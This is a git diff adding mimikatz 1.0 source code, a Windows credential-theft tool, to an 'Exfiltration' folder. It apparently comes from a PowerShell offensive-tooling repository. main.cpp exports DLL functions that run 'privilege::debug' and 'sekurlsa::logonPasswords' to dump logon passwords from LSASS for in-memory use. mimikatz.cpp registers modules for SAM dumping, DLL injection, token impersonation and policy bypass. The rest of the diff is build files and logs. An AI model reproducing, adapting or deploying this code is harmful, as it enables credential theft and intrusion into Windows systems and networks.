"{6556249E-1C80-4047-A863-F608C8B8AC55}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kappfree", "kappfree\kappfree.vcxproj", "{E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{7999D050-6332-45F7-A343-C343902B1453}" + ProjectSection(SolutionItems) = preProject + lisezmoi.txt = lisezmoi.txt + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "En-têtes", "En-têtes", "{24371643-CEFE-4590-BB29-6141CB5E25D1}" + ProjectSection(SolutionItems) = preProject + commun\globdefs.h = commun\globdefs.h + commun\secpkg.h = commun\secpkg.h + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Icons", "Icons", "{80532836-DE52-40AD-B373-E4098BF52E1F}" + ProjectSection(SolutionItems) = preProject + commun\icons\cmd_32.ico = commun\icons\cmd_32.ico + commun\icons\cmd_48.ico = commun\icons\cmd_48.ico + commun\icons\cmd_kiwi.ico = commun\icons\cmd_kiwi.ico + commun\icons\mimikatz_bird.ico = commun\icons\mimikatz_bird.ico + commun\icons\mimikatz_fruit.ico = commun\icons\mimikatz_fruit.ico + commun\icons\mimikatz_fruit_16.ico = commun\icons\mimikatz_fruit_16.ico + commun\icons\regedit_32.ico = commun\icons\regedit_32.ico + commun\icons\regedit_48.ico = commun\icons\regedit_48.ico + commun\icons\regedit_kiwi.ico = commun\icons\regedit_kiwi.ico + commun\icons\taskmgr_32.ico = commun\icons\taskmgr_32.ico + commun\icons\taskmgr_48.ico = commun\icons\taskmgr_48.ico + commun\icons\taskmgr_kiwi.ico = commun\icons\taskmgr_kiwi.ico + EndProjectSection +EndProject +Global + GlobalSection(SubversionScc) = preSolution + Svn-Managed = True + Manager = AnkhSVN - Subversion Support for Visual Studio + EndGlobalSection + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.ActiveCfg = Release|Win32 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.Build.0 = Release|Win32 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.ActiveCfg = Release|x64 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.Build.0 = Release|x64 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.ActiveCfg = Release|Win32 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.Build.0 = Release|Win32 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.ActiveCfg = Release|x64 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.Build.0 = Release|x64 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.ActiveCfg = Release|Win32 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.Build.0 = Release|Win32 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.ActiveCfg = Release|x64 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.Build.0 = Release|x64 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.ActiveCfg = Release|Win32 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.Build.0 = Release|Win32 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.ActiveCfg = Release|x64 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.Build.0 = Release|x64 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.ActiveCfg = Release|Win32 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.Build.0 = Release|Win32 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.ActiveCfg = Release|x64 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {6556249E-1C80-4047-A863-F608C8B8AC55} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {24371643-CEFE-4590-BB29-6141CB5E25D1} = {7999D050-6332-45F7-A343-C343902B1453} + {80532836-DE52-40AD-B373-E4098BF52E1F} = {7999D050-6332-45F7-A343-C343902B1453} + EndGlobalSection +EndGlobal diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..ce3b7c5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..5b567c0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..f911a97 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..88decc7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..8e0945c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..4395a0c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res Binary files differnew file mode 100644 index 0000000..ab3f94d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog new file mode 100644 index 0000000..ee7a2bc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\mimikatz\mimikatz.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.exp diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..7de5294 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..a9809e1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..5913372 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp new file mode 100644 index 0000000..365bd1a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp @@ -0,0 +1,5 @@ +#include <ostream> +#include <iostream> +#include "global.h" + +std::wostream *outputStream = &std::wcout;
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.h b/Exfiltration/mimikatz-1.0/mimikatz/global.h new file mode 100644 index 0000000..4bfe000 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/global.h @@ -0,0 +1,4 @@ +#pragma once +#include <ostream> + +extern std::wostream *outputStream;
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp new file mode 100644 index 0000000..8862e42 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp @@ -0,0 +1,73 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Modifications in this file made by: Joe Bialek. Twitter: @JosephBialek. + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "globdefs.h" +#include <io.h> +#include <fcntl.h> +#include "mimikatz.h" +#include <ShellAPI.h> + +int wmain(int argc, wchar_t * argv[]) +{ + setlocale(LC_ALL, "French_France.65001"); + _setmode(_fileno(stdin), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + _setmode(_fileno(stdout), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + _setmode(_fileno(stderr), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + + /*SetConsoleCP(CP_UTF8); + SetConsoleOutputCP(CP_UTF8);*/ + + vector<wstring> * mesArguments = new vector<wstring>(argv + 1, argv + argc); + + mimikatz * myMimiKatz = new mimikatz(mesArguments); + delete myMimiKatz, mesArguments; + return ERROR_SUCCESS; +} + +extern "C" __declspec ( dllexport) wchar_t* WStringFunc() +{ + wostringstream *stringStream = new wostringstream(); + outputStream = stringStream; + + vector<wstring>* mesArguments = new vector<wstring>(); + (*mesArguments).push_back(L"privilege::debug"); + (*mesArguments).push_back(L"sekurlsa::logonPasswords"); + (*mesArguments).push_back(L"exit"); + + mimikatz* myMimikatz = new mimikatz(mesArguments); + delete myMimikatz, mesArguments; + + wstring output = (*stringStream).str(); + const wchar_t* outputStr = output.c_str(); + wchar_t* out = new wchar_t[output.size() + 1]; + wcscpy(out, outputStr); + out[output.size()] = '\0'; + + return out; +} + +extern "C" __declspec ( dllexport) wchar_t* PSMimikatz(LPCWSTR input) +{ + wostringstream *stringStream = new wostringstream(); + outputStream = stringStream; + + int argc = 0; + LPWSTR* argv = CommandLineToArgvW(input, &argc); + + vector<wstring> * mesArguments = new vector<wstring>(argv, argv + argc); + + mimikatz* myMimikatz = new mimikatz(mesArguments); + delete myMimikatz, mesArguments; + + wstring output = (*stringStream).str(); + const wchar_t* outputStr = output.c_str(); + wchar_t* out = new wchar_t[output.size() + 1]; + wcscpy(out, outputStr); + out[output.size()] = '\0'; + + return out; +} + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp new file mode 100644 index 0000000..7265ef9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp @@ -0,0 +1,286 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mimikatz.h" + +bool mimikatz::initLocalModules() +{ + mod_system::getVersion(&mod_system::GLOB_Version); + mod_mimikatz_sekurlsa::loadLsaSrv(); + mod_cryptoapi::loadRsaEnh(); + + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion systme", mod_mimikatz_system::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilges", mod_mimikatz_privilege::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accs", mod_mimikatz_impersonate::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du dmineur", mod_mimikatz_winmine::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du dmineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands())); + return true; +} + +mimikatz::mimikatz(vector<wstring> * mesArguments) : Kmimikatz(NULL) +{ + initLocalModules(); + SetConsoleTitle(MIMIKATZ_FULL); + (*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl << + L"// http://blog.gentilkiwi.com/mimikatz" << endl; + + bool mustContinue = true; + if(mesArguments) + { + for(vector<wstring>::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++) + { + wstring commande = *maCommande; + (*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl; + mustContinue = tryToDispatch(&commande); + } + } + + if(mustContinue) + { + wstring * monBuffer = new wstring(); + do + { + (*outputStream) << endl << MIMIKATZ << L" # " << dec; + getline(wcin, *monBuffer); + } while(tryToDispatch(monBuffer)); + delete monBuffer; + } + wcout.flush(); +} + +mimikatz::~mimikatz(void) +{ + mod_cryptoapi::unloadRsaEnh(); + mod_mimikatz_sekurlsa::unloadLsaSrv(); + mod_mimikatz_inject::closeThisCommunicator(); +} + +bool mimikatz::tryToDispatch(wstring * maLigne) +{ + bool reussite = false; + + if(!(reussite = maLigne->empty())) + { + switch(*(maLigne->begin())) + { + case L'@': + case L'*': + reussite = this->doCommandeDistante(maLigne->substr(1)); + break; + case L'!': + reussite = this->doCommandeKernel(maLigne->substr(1)); + break; + default: + wstring fonction = *maLigne; + vector<wstring> arguments; + + size_t monIndex = fonction.find(L' '); + if(monIndex != wstring::npos) + { + fonction = fonction.substr(0, monIndex); + arguments = mod_parseur::parse(maLigne->substr(monIndex + 1)); + } + reussite = doCommandeLocale(&fonction, &arguments); + } + } + + return reussite; +} + +bool mimikatz::doCommandeLocale(wstring * fonction, vector<wstring> * arguments) +{ + size_t monIndex = fonction->find(L"::"); + + wstring module = L""; + wstring commande = *fonction; + + if(monIndex != wstring::npos) + { + module = fonction->substr(0, monIndex); + commande = fonction->substr(monIndex + 2); + } + + for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) + { + if(module == monModule->module) + { + for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) + { + if(commande == maCommande->commandName) + { + return maCommande->ptrCommand(arguments); + } + } + + if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl; + else (*outputStream) << L"Module : \'" << module << L"\' identifi, mais commande \'" << commande << L"\' introuvable" << endl; + + (*outputStream) << endl << L"Description du module : " << monModule->description << endl; + listCommandes(monModule); + + return true; + } + } + + (*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl; + listModules(); + return true; +} + +bool mimikatz::openKernel() +{ + bool reussite = false; + + if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE) + { + (*outputStream) << L"Ouverture du pilote mimikatz : "; + Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"CreateFile ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else + { + reussite = true; + } + + return reussite; +} + +bool mimikatz::closeKernel() +{ + bool reussite = false; + if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE) + { + if(CloseHandle(Kmimikatz)) + { + Kmimikatz = NULL; + reussite = true; + } + } + return reussite; +} + +bool mimikatz::doCommandeKernel(std::wstring &commande) +{ + if(!commande.empty()) + { + if(openKernel()) + { + DWORD dwReturn; + /* + (*outputStream) << L"DEBUG WriteFile " << endl << + L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl; + */ + if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL)) + { + /*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/ + + DWORD dwBuff = 0x40000; + DWORD dwRead = 0; + BYTE * buffer = new BYTE[dwBuff]; + RtlZeroMemory(buffer, dwBuff); + + /*(*outputStream) << L"DEBUG ReadFile " << endl << + L"\tBuffSize : " << dwBuff << endl;*/ + + if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL)) + { + /*(*outputStream) << + L"\tReaded : " << dwRead << endl << + endl; + */ + wcout /*<< L"BUFF : " << endl*/ + << reinterpret_cast<wchar_t *>(buffer) << endl; + } + else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl; + + delete[] buffer; + } + else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz"; + } + else + { + (*outputStream) << L"Commande vide (fermeture force) reue" << endl; + closeKernel(); + } + + return true; +} + +bool mimikatz::doCommandeDistante(std::wstring &commande) +{ + bool commOk = false; + + if(mod_mimikatz_inject::monCommunicator) + { + if(!commande.empty()) + { + if(mod_mimikatz_inject::monCommunicator->isConnected()) + { + if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande)) + { + wstring buffer = L""; + do + { + if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer)) + { + (*outputStream) << buffer.substr(1) ; + } + else + { + (*outputStream) << L"Erreur : pas de rponse possible ; " << mod_system::getWinError() << endl; + break; + } + } while(*(buffer.begin()) == L'#'); + } + else (*outputStream) << L"Erreur : pas d\'criture possible ; " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"Commande vide (dconnexion force) reue" << endl; + } + else (*outputStream) << L"Erreur : pas ou plus de communication tablie" << endl; + + if(!commOk) + mod_mimikatz_inject::closeThisCommunicator(); + + return true; +} + +void mimikatz::listModules() +{ + for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) + { + (*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl; + } +} + +void mimikatz::listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule) +{ + for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) + { + if(maCommande->commandName.front() != L':') + (*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl; + } +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h new file mode 100644 index 0000000..2973368 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_parseur.h" +#include "mod_pipe.h" +#include "mod_process.h" +#include "mod_system.h" + +#include "modules/mod_mimikatz_standard.h" +#include "modules/mod_mimikatz_crypto.h" +#include "modules/mod_mimikatz_hash.h" +#include "modules/mod_mimikatz_system.h" +#include "modules/mod_mimikatz_process.h" +#include "modules/mod_mimikatz_thread.h" +#include "modules/mod_mimikatz_service.h" +#include "modules/mod_mimikatz_privilege.h" +#include "modules/mod_mimikatz_handle.h" +#include "modules/mod_mimikatz_winmine.h" +#include "modules/mod_mimikatz_minesweeper.h" +#include "modules/mod_mimikatz_nogpo.h" +#include "modules/mod_mimikatz_samdump.h" +#include "modules/mod_mimikatz_inject.h" +#include "modules/mod_mimikatz_terminalserver.h" +#include "modules/mod_mimikatz_divers.h" +#include "modules/mod_mimikatz_impersonate.h" +#include "modules/mod_mimikatz_sekurlsa.h" +#include "modules/mod_mimikatz_efs.h" +#include "global.h" + +class mimikatz +{ +private: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + vector<KIWI_MIMIKATZ_LOCAL_MODULE> mesModules; + bool initLocalModules(); + bool tryToDispatch(wstring * maLigne); + bool doCommandeLocale(wstring * fonction, vector<wstring> * arguments); + bool doCommandeDistante(std::wstring &commande); + bool doCommandeKernel(std::wstring &commande); + + bool openKernel(); + bool closeKernel(); + + void listModules(); + void listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule); + + HANDLE Kmimikatz; + +public: + mimikatz(vector<wstring> * mesArguments = NULL); + virtual ~mimikatz(void); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc Binary files differnew file mode 100644 index 0000000..85dd98f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj new file mode 100644 index 0000000..5c0f138 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj @@ -0,0 +1,228 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>mimikatz</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + <GenerateManifest>false</GenerateManifest> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + <GenerateManifest>false</GenerateManifest> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> 